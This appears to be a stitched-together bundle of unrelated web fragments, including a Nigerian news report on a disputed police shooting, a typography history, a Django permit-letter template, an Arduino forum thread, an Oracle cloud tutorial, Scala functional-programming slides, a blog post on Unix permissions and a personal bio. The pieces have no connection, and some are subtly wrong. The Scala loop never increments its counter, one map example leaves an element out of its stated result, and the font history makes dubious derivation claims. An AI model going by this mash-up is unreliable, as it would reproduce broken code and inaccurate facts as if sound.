I'm not after an analysis of units shipped of ipods vs handsets - handsets get upgraded quickly, and the purchase of a handset doesn't necessarily indicate that it's being used to listen to music. And I'm not interested in focus-group type studies asking end-users what they'd like to do - but rather actual research into observed behaviour.
Anyone know?


I love these animals
This is a list of animals
This is a
dog
This is a
cat
This is a frog
I love my animals
This is a bat


Police killed our member, Shi’ites alleges
by Godwin IsenyoGodwin Isenyo, Kaduna
President, Media Forum of the Islamic Movement in Nigeria, Ibrahim Musa, claimed that one of their members was killed by the police in Zaria, Kaduna State.
He said the IMN, also known as Shi’ites, were on a procession commemorating the birthday of Prophet Mohammed when police opened fire and killed their member.
He gave the name of the member as Muhammad Salisu.
The IMN spokesman said, “Reports reaching the Islamic Movement in Nigeria indicate that one of the four casualties recorded earlier when police opened fire on worshippers marking the Maulud in Zaria, Muhammad Salisu, has died.
“He was killed by police bullet that pierced the centre of his heart when they indiscriminately shot into the crowd with an aim to kill.”
But the police in Kaduna State said a combined operation with the Nigerian Army and the Nigeria Security and Civil Defence Corpse, dispersed the outlawed group professionally without any casualty.
The Police Public Relations Officer of the command, DSP Yakubu Sabo, said the force had no encounter with the IMN members and no casualty as well.
The police chief said, “Yes, we received reports at about 1545hrs that some members of the outlawed Islamic Movement of Nigeria were sighted at the Central area of Kaduna metropolis and our operatives promptly responded.
“However, on sighting security agents, the protesters melted into the mass population of men and women who were minding their legitimate businesses within the market area. There was no encounter whatsoever with the police and no casualty was recorded as well.
“Furthermore, a similar violent procession was carried out in Zaria today by the banned IMN group and it took the gallant efforts of security agents comprising the Police, Army and the Civil Defence to disperse the protesters and ensure public order and safety. No casuality was recorded as well.”
Copyright PUNCH.
All rights reserved. This material, and other digital content on this website, may not be reproduced, published, broadcast, rewritten or redistributed in whole or in part without prior express written permission from PUNCH.
Contact: theeditor@punchng.com


MDbST - Movie Database and Search Tool
Search for movies by title or click
"ADD MOVIE"
to add a new movie to the database.
ADD MOVIE
ADD DIRECTOR


About Sachin Sachin ramesh Tendulkar is a former cricter and captain,widely regarded as one of the greatest batsmen of all time.He took up cricket at the age of eleven,made his test debut on 15th nov,1989 against.Pakistan in karachi at the age of sixteenand went on to represent mumbai domestically and india internationally for close to twenty-four years.


DataGridGenerator
public class DataGridGenerator
| Field Summary | |
|---|---|
| private mixed | The connection established by the connector on demand. |
| private mixed | The name of the Connector that will be used to access the database. |
| private mixed | The headers of the table. |
| private mixed | The SQL-Query to perform. |
| Constructor Summary | |
|---|---|
Constructor. |
| Method Summary | |
|---|---|
| string | generate() Returns the xml output of the Generator. |
| void | setProperty(string key, string value) Used to pass parameters to the Generator. |
private mixed $connection = null
The connection established by the connector on demand. */
private mixed $connector = null
The name of the Connector that will be used to access the database. */
private mixed $headers = null
The headers of the table. */
private mixed $sql = null
The SQL-Query to perform. */
public DataGridGenerator()
Constructor. /
public string generate()
Returns the xml output of the Generator.
public void setProperty(string key, string value)
Used to pass parameters to the Generator.
Creates a table containing whose data comes from a database. /


When Gutenburg invented the printing press in 1440, he wanted to mass-produce the hand-drawn caligraphy of monks. It’s hard to read if you’re not a medieval scholar, so don’t use it unless you’re really trying to recreate the middle ages.
Old style fonts were the first “modern” fonts. They’re soft, warm, and still almost feel hand-drawn. They’re built for legibility, which make them fantastic text fonts. Use them when you want to evoke the Renaissance.
Make old-style fonts less hand-drawn and chop the serifs off at right angles, and you get transitional fonts. This was the predominant font during the founding of the United States and has strong connotations with neoclassical architecture and art.
Didot fonts create a stark contrast between thick vertical strokes and very thin horizontal ones. They have an air of elegance about them, which is why they’re popular fonts for luxury brands and fasion magazines. Not so great as text fonts though.
Take a Didot font, make all the strokes the same width, and you get a slab serif. They’re a font created during the industrial revolution, primarly for titles, not for long runs of text.
The industrial revolution brought about a need to advertise the resulting surplus of goods. Making slab serifs fonts really thick was a good way to stand out. You’ll also recognize fat face serifs in want-ads from the Westward Expansion in the United States.
Slab serif fonts without the serifs don’t have much character, but that makes them really versatile, right? Max Miedinger certainly thought so when he invented Helvetica in 1957.
Apply Bauhaus design aesthetics to typography, and you get geometric sans serif fonts. They’re like Grotesque fonts, but have rounder forms. They’re a classically modern font for the 1940s and 50s, but they’re hard to read, making them less suitable as text fonts.
Geometric sans serif fonts lost their human character, so why not add a little hint of old-style serif into a sans serif font? You get a modern font that’s easy-to-read and has enough character to stand on its own as a display font.
Now that we have web fonts, the sky’s the limit with how fancy we can get with our fonts. The last decade has seen an explosion in fancy font faces, many of which are best-suited for titles. These are great for adding unique character to a website’s headings.
Monospace fonts are a fluke of history. They were designed specifically for the technical limitations of typewriters, ignoring many of the typographic principles that make for legible text. Don’t use them unless you’re marking up code snippets.


Dear {% if person.title %} {{ person.title }} {% endif %} {{ person.last_name }}
PERMIT: P{{ approval.id }}
PROPOSAL: {{ app.title }}
ADDRESS : {{ app.lot }} {{ app.reserve_number }} {{ app.town_suburb }}
Thank you for your permit application for the above-mentioned proposal.
Your proposal has been assessed based on the information provided on {{ app.submit_date|date:"d-M-Y" }}, and a decision made to approve the application, subject to conditions and advice. Please find attached your approved permit and conditions.
{% if conditions_count > 0 %} Please note that the current processing time for clearance of condition requests is approximately 30 days. If insufficient information is provided to support your request, processing of your clearance may be delayed. In instances where the condition states that advice will be sought from outside of the department before clearance is issued, an additional 21 day referral period should be allowed for.{% endif %}
Please note it is an offence under Regulation 31(3) of the Swan and Canning Rivers Management Regulations 2007 for the holder of a permit to contravene a condition. Fines of up to $5,000 may apply.
Under the Swan and Canning Rivers Management Regulations 2007, a permit may be revoked or suspended if there has been a breach of condition, or if there is immediate and serious risk of harm to the ecological or community benefits or amenity of the Riverpark or the Swan Canning Development Control Area.
If you have any queries regarding this matter, please contact the Department of Biodiversity, Conservation and Attractions, Rivers and Estuaries Division, on 9219 9000 or<EMAIL_ADDRESS>and quote the reference number WO-{{ app.id }}.
{% include "signature.html" %}


--- layout: post authors: ["Greg Wilson"] title: "John Hunter Technology Fellowship 2014" date: 2014-03-12 time: "14:30:00" tags: ["Announcements"] ---
The John Hunter Technology Fellowship aims to bridge the gap between academia and real-world, open-source scientific computing projects by providing a capstone experience for individuals coming from a scientific educational background. The program consists of a 6 month project-based training program for postdoctoral scientists or senior graduate students. Fellows work on scientific computing open source projects under the guidance of mentors who are leading scientists and software engineers. The aim of the Fellowship is to enable Fellows to develop the skills needed to contribute to cutting-edge open source software projects while at the same time advancing or supporting the research program they and their mentor are involved in.
The Fellow receives an award of $33,000, which is meant to support the Fellow for 6 months of full-time work; The Fellowship can be started in the July 2014 - Jan 2015 time frame, and applications are due May 15, 2014. For more information, and to apply, please see the full announcement


--- layout: default title: Git Requests permalink: /housekeeping-git-requests ---
The total number of Git requests (includes pushes, fetches, and clones).
High numbers usually indicate unfavorably configured CI processes.
This table lists the repositories that accounted for the majority of Git requests yesterday.


I plan to build the Mk2 controller (using the PCBs from Rich).  Given that I don't really know what I'm doing, I want to dedicate one arduino (aPV) to the PV controller work, and use another (emonTx) for everything else. Both arduinos would be in the same box, sharing ground and +5v. (Maybe need a bigger PSU?)
I appreciate some folk have managed to combine both functions within the same arduino, but I'd rather keep them separate, so I can play around with the emonTx without compromising the immersion control algorithm.
Given I already have the current/voltage sensor and Vref circuitry for aPV, is there any reason why I can't connect the derived signals (on an1 & an2) to both arduinos at the same time? (So I can measure imported power on the emonTx.)
Re: MK2 PV Controller + emonTx, together
Remember that if you intend to use the same input signals to both systems, you need to be careful that both systems use the same analogue reference voltage and consequently the same mid-point bias voltage. Bear in mind that the RFM12B module has a maximum recommended supply voltage of 3.8 V, which implies you must retain the 3.3 V supply for the emonTx.
Re: MK2 PV Controller + emonTx, together
Um, very good point Robert. (BTW, great name.)
I was intending to wait for the new emonTx board, and connect it using wired ethernet (I think that option is coming). But I see that the ethernet module that has been proposed is also 3.3V (although it says that 5V I/O signals are tolerated, it doesn't say about max supply voltage. Also, I suppose there's no guarantee that particular module will end up on the new board). So that wouldn't work either.
Ho hum, back to the drawing board.
Re: MK2 PV Controller + emonTx, together
I don't know what other stuff you want to measure but, unless its a lot, the arduino can be used to run the MK2 sketch and you can still do some other stuff as well in parallel with it. No issues occur then with regard to power supplies. You only need to change the pull up resistor which drives the MOC photo LED.
Re: MK2 PV Controller + emonTx, together
Before you get to far down the track, have a read through this!
http://openenergymonitor.org/emon/node/1002
Re: MK2 PV Controller + emonTx, together
Series530
Are you suggesting running the MK2 sketch on the emonTx (at 3.3V)? Would that work without any further modifications? (Except changing the pull-up resistor - I guess to ~120ohms?)
Stuart
I did look at your design, but I wasn't convinced that I understood all the proposed changes to the design, plus I've already bought Rich's PCBs, so I'm kinda committed down that track.
Thanks to both!
Re: MK2 PV Controller + emonTx, together
Sure - it runs beautifully on these units. My sketches are extensions of the MK2 sketch and one runs on the emonTX while the other runs on the emonGLCD. Just change the pull up resistor for the MOC and that's it. If you want to be fancy add in the LEDs if you use my sketch or run as it is if you use Robins MK2.


Before You Begin
This 10-minute tutorial shows you how to deploy a Python application to Oracle Application Container Cloud Service and then integrate Oracle MySQL Cloud Service with your application.
Background
Oracle Application Container Cloud Service provides a lightweight infrastructure so that you can run Java, PHP, Node.js, Ruby, and Python applications in Oracle Cloud.
What Do You Need?
- Access to an instance of Oracle Application Container Cloud Service (Make a note of your account information: identity domain, user name, and password.)
- Access to an instance of Oracle MySQL Cloud Service. (See Creating an Instance of Oracle MySQL Cloud Service.)
- Python 3.6+
- The pip package management system
- Python Employee application project employee-python-app.zip
- cURL 7.0+ with SSL support
Download the Project Dependencies
- Extract the contents of the
employee-python-app.zip
file in your local system. - Open a command-line window (or terminal in Linux) and go to the
employee-python-app
directory. - Install the project dependencies.
pip install -r requirements.txt -t modules
- Create the
python-service-dist.zip
file with the content of theemployee-python-app
directory. Make sure that thezip
file doesn't contain any subdirectories and all the files are at the root of thezip
file.
Deploy Your Application to Oracle Application Container Cloud Service
- In a web browser, go to https://cloud.oracle.com/home and click Sign In.
- From the Cloud Account drop-down menu, select Traditional Cloud Account, then select your data center, and click My Services.
- Enter your identity domain and click Go.
- Enter your cloud account credentials and click Sign In.
- In the Oracle Cloud My Services dashboard, click and select Oracle Application Container Cloud Service.
- In the Applications list view, click Create Application.
- In the Create Application dialog box, click Python.
- In the Application section, enter
EmployeeService
for the name of your application. Click Browse. - In the File Upload dialog box, select
python-service-dist.zip
and click Open. - Keep the default values in the Topology section and click Create. Processing takes a few minutes.
Add the MySQLCS Service Binding
- Wait until the application is created.
- Click the Deployments tab. In the Service Binding section, click Add.
- In the Service Type field, select MySQLCS Service. Enter or select values in the Service Name, Username, and Password fields, and click Save.
- In the Deployments dialog box, click Apply Edits.
- Wait until the application is restarted and then copy the URL of your application. You'll use it in the next section.
Test Your Application
- Open a command-line window (or terminal in Linux).
- Create the
EMPLOYEE
table.
- Oracle Application Container Cloud Service Get Started in the Oracle Help Center
- Creating a Python Application Using Oracle MySQL Cloud Service on Oracle Application Container Cloud Service OBE


Background
- OOP is one of the popular paradigms today.
- Common OOP actions (imperative):
- Modifying mutable variables by using assignments
- Use other control structures such as:
- If/Then/Else
- Loops
- Break/Continue/Return
Motivations
- The problems we solve are becoming more complex
- They require:
- An efficient approach to be written
- A practical way to be tested
- FP greatly helps in both of concerns 💪
- Natural for parallelism
FP vs. OOP
FP focus on what you want to achieve (declarative)
OOP focus on how you want to achieve (imperative)
Imperative 🤔
val numbers = List(1,2,3,4,5,6,7,7,8,9,10)
var result = List()
var i = 0
while (i < numbers.size) {
if (numbers(i) % 2 == 0) {
if (numbers(i) < 5) {
result.add(5)
continue
}
result.add(numbers(i))
}
}
Declarative 😎
val numbers = List(1,2,3,4,5,6,7,7,8,9,10)
numbers
.filter(n => n % 2 == 0)
.map {
case n if n < 5 => 5
case n => n
}
Imperative vs. Declarative
val numbers = (1 to 10).toList
var result = List()
var i = 0
while (i < numbers.size) {
if (numbers(i) % 2 == 0) {
if (numbers(i) < 5) {
result.add(5)
continue
}
result.add(numbers(i))
}
}
|
val numbers = (1 to 10).toList
numbers
.filter(n => n % 2 == 0)
.map {
case n if n < 5 => 5
case n => n
}
|
High Order Functions
- One of the most powerful traits of FP (!)
- Take values/functions and return values/functions.
- In other words:
- Take a function, return a value.
- Take a value, return a function.
- Take a function, return a function.
High Order Functions: filter
- Given: a collection
List[T]
- Input: a predicate
T => Boolean
- Output: All items that satisfy the given predicate
class List[T] {
def filter(predicate: T => Boolean): List[T]
}
val list = List(1,2,3,4,5,6)
val odds = list.filter(x => x % 2 != 0)
// returns List(1,3,5)
High Order Functions: map
- Given: a collection
List[T]
- Input: a function
T => S
- Output: Apply the function on every item
List[S]
val list = List(1,2,3,4,5,6)
val doubles = list.map(x => x * 2)
// returns List(2,4,6,8,10)
High Order Functions: reduce
- Given: a collection
List[T]
- Input: a function
(T,T) => T
- Output: combining all items to a single value T
val list = List(1,2,3,4,5,6)
val sum = list.reduce((x,y) => x + y)
// returns 21
High Order Functions
- Sorting a list in Scala:
def f(c: Char) = c.toInt // ordering function
List(🥚, 🐓).sortBy(f)
-
Scala already contains some helper methods:
List(🥚, 🐓).sorted == List(🐓, 🥚)
High Order Functions Explained
List(🐮, 🥔, 🐔, 🌽).map(cook) ==
List(🍔, 🍟, 🍗, 🍿)
High Order Functions Explained
List(🍔, 🍟, 🍗, 🍿).filter(isVegan) ==
List(🍟, 🍿)
High Order Functions Explained
List(🍔, 🍟, 🍗, 🍿).reduce(eat)
💩
Benefits of High Order Functions
- Shorten program length
- Produces cleaner code
- Encourages writing testable code
def isOdd(x: Int): Boolean = x % 2 != 0
val odds = list.filter(isOdd)


|
|
IFXEuler Class ReferenceThis interface is used for conversions to and from IFXQuaternion. More...
Detailed DescriptionThis interface is used for conversions to and from IFXQuaternion.
Constructor & Destructor Documentation
Member Function Documentation
Member Data Documentation
|


Unix Permissions 101
Table of Contents
1 Multiple servers, multiple configs
Couple of days ago we discovered a nasty bug in one of our systems. Before getting to the bug let me explain the setup very briefly:
We have a master node which wakes up several AWS instances, delegates series of jobs, from a queue, to them and after all of the jobs are completed switches them off. Each slave node, after completing a job, stores the result in a common database.
Each of the event is logged in the same common database.
The system was working as expected until we found that the results calculated by the slave nodes are being stored in a development database and not in the production database. Initially it looked like we plugged in wrong configuration file, which of course wasn't the case. I checked the code that talked to the database to see if someone hard coded the Dev DB configuration and later forgot to revert. Nothing helped.
I even considered the possibility of multiple configuration files and tried grepping the whole repository for Dev DB credential. Nothing was mentioned anywhere about the Dev DB.
1.1 Debugging
The master node packs the Python scripts, configuration files and other data files nicely in an egg (zip file) and deploys it to the slave nodes. I sshed into one of the slaves and to my horror saw that the job did have configuration of the Dev DB! This was surprising since while the master node didn't have a trace of the incorrect configuration, the egg contained it.
My job was now a bit easier, I just needed to figure out how the unwanted
configuration slipped into the egg. I went over the code and double checked the
path of configuration declared for making the egg. Ultimately, I manually executed
the script that does the zipping of code and deployment. I found that the zipping
operation failed due to insufficient permissions. ls -l
revealed that the
build
folder was owned by the root
and was readonly for others. The script
couldn't clean the temporary files and failed. Since this operation was done
using Python subprocess
and the exception was handled in a way that didn't
stop the script, the script went on failing to deploy to each slave.
When the slaves were ordered to execute the job, they executed the last available version of the egg, which happened to be a job which was being tested on development server and thus contained development configuration.
1.2 Analysis
After the file permissions were fixed, it was time for examining what went wrong.
And what could have been done so that finding the cause would have been easier.
The fatal mistake was to handle the subprocess
exception and not stop. This
is exactly opposite of the Unix Philosophy1:
Rule of Repair: Repair what you can — but when you must fail, fail noisily and as soon as possible.
Instead of silently consuming the exception, the script should have failed and log it. Still this isn't the root cause of the bug. The root cause is setting up of incorrect file permissions.
2 sudo
2.1 sudo
justExecuteThis
The main problem is not technical but, like most of the other problems in software
development, a social one. We want to get things working, fast. Unable to save
a file? - use sudo
. Unable to install package? - use sudo
. I can bet most of
the engineer would repeat the last command, if it failed, prefixing it with sudo
without giving it a thought. For most of us, sudo
means:
I don't really understand (or want to know) why you failed but I don't want you to fail.
Here, I give you the power of sudo
Again, the problem is not technical. Fixing the permission is not very difficult.
But why would one get into the trouble of actually reading up the commands and
doing it the right way, when one can just sudo
.
2.2 sudo
mode
After one has successfully executed couple of commands using sudo
, which were
failing earlier, it is very tempting to get into sudo mode – su
. Switch
to superuser and one never have to type in sudo
again.
Using su
(login as superuser) we can go anywhere and do anything we wish,
there is no one to stop us. But whenever we create a new file, other ordinary
users may only be able to read it and not write it.
Most of the code we write is executed by non privileged users.
3 Unix Permissions 101
There are just 3 commands one needs to know to avoid 90% of the unnecessary
use of sudo
.
ls -l
(list directory with a long listing format2):This is the usual
ls
with-l
flag which outputs extra information about the files in the directory.-rw-r--r-- 1 anuragpeshne staff 1080 Feb 2 20:52 LICENSE -rw-r--r-- 1 anuragpeshne staff 51 Feb 2 20:52 README.md drwxr-xr-x 7 anuragpeshne staff 238 May 1 20:57 assets drwxr-xr-x 3 anuragpeshne staff 102 May 21 16:15 css drwxr-xr-x 9 anuragpeshne staff 306 Jun 5 13:45 essays -rw-r--r--@ 1 anuragpeshne staff 53 Feb 28 20:41 googleb7e54271b39d6266.html -rw-r--r-- 1 anuragpeshne staff 8556 Apr 2 00:11 index.html drwxr-xr-x 3 anuragpeshne staff 102 Apr 1 22:32 js -rw-r--r-- 1 anuragpeshne staff 6565 Feb 20 23:08 now.html drwxr-xr-x 8 anuragpeshne staff 272 Apr 2 00:11 org-files drwxr-xr-x 4 anuragpeshne staff 136 Feb 21 23:02 quotes drwxr-xr-x 3 anuragpeshne staff 102 Feb 16 20:09 todo
The first 10 characters denote file permissions. The first character denotes whether the file is regular file or directory3. 3 Sets of 3 characters follow that. Each character in the set denotes whether it is [w]ritable, e[x]ecutable or [r]eadble. The sets represents permission of Owner, Group and Other. The third, fourth column gives the information about owner and group.
Thus in the above example, only
anuragpeshne
can write to fileREADME.md
while users in groupstaff
and others can just read it.chown
(change owner4):If you are working in some folder above your home folder, most probably it won't be owned by you; It will be owned by
root
. If you are editing files in your repository and going to edit those many times in a day, it would be a good idea to own the repository folder.sudo chown -R $(whoami) ./
chmod
(change mode5):There are couple of ways to change file permissions, but I'm going to mention just one way.
chmod ugo file
, whereugo
are octal values representing permission foruser
,group
andothers
. For calculating these octal value, just add up the number corresponding to the permission you want to give.read 4 write 2 execute 1 Examples:
chmod 600 d.txt
will give permission to read and write only to the user (owner).chmod 755 app
will give permission to read and execute to everyone but only the user can write to it.
And that's it! From now on whenever you are tempted to use sudo
, give yourself
a moment to think if you are going to edit the file often, if so, change the
ownership to you or add yourself to the owner group.


My name is Sean Wilson and I am currently in my early 30's. My education has been a very interesting ride and took a total of 9 years to get my first Bachelor's of Arts in Digital Cinema with a Minor in Videogame Design and Development from DePaul University. I then ended up taking an additional degree later an Associates of Science in Cybersecurity and Networking at Tacoma Community College.
I have had an extensive job history throughout the last 15+ years. Most of my jobs have been customer service focused and not the ideal career for me. Most the jobs have been in the retail store environment or in the food service industry. The few jobs that I have done outside these industries have been much easier for me to stay with for a longer period of time. Currently I work in a warehouse environment and am looking to find a career in the IT industry.
Why am I now interested in programming now?
Well this has been something that I have been wanting to learn more about for quite awhile. I just kept putting it off because of my bad experiences with the coding 10+ years ago. I learned an older version of HTML back in the day over 10 years ago. One of my first actual computer languages was an old outdated language called QBASIC it was a huge turn off in the start to my learning how to program. I then suffered having to read huge textbooks taking C++ and Java at the same time in a classroom environment on my own and learned nothing and barely passed the classes. Now that I am tired of being stuck not having a career that pays well I am going to give coding a chance. Epicodus is my next hope to getting a better chance at learning how to program. I want to move abroad to Europe ideally Finland when this pandemic allows for travelling.I have learned many things over my lifetime and have skills in computers, graphic design, customer service skills, and some Microsoft Office Certifications that I have obtained. I enjoy spending time with my pet birds. There are many hobbies that I enjoy and can be found in the list below: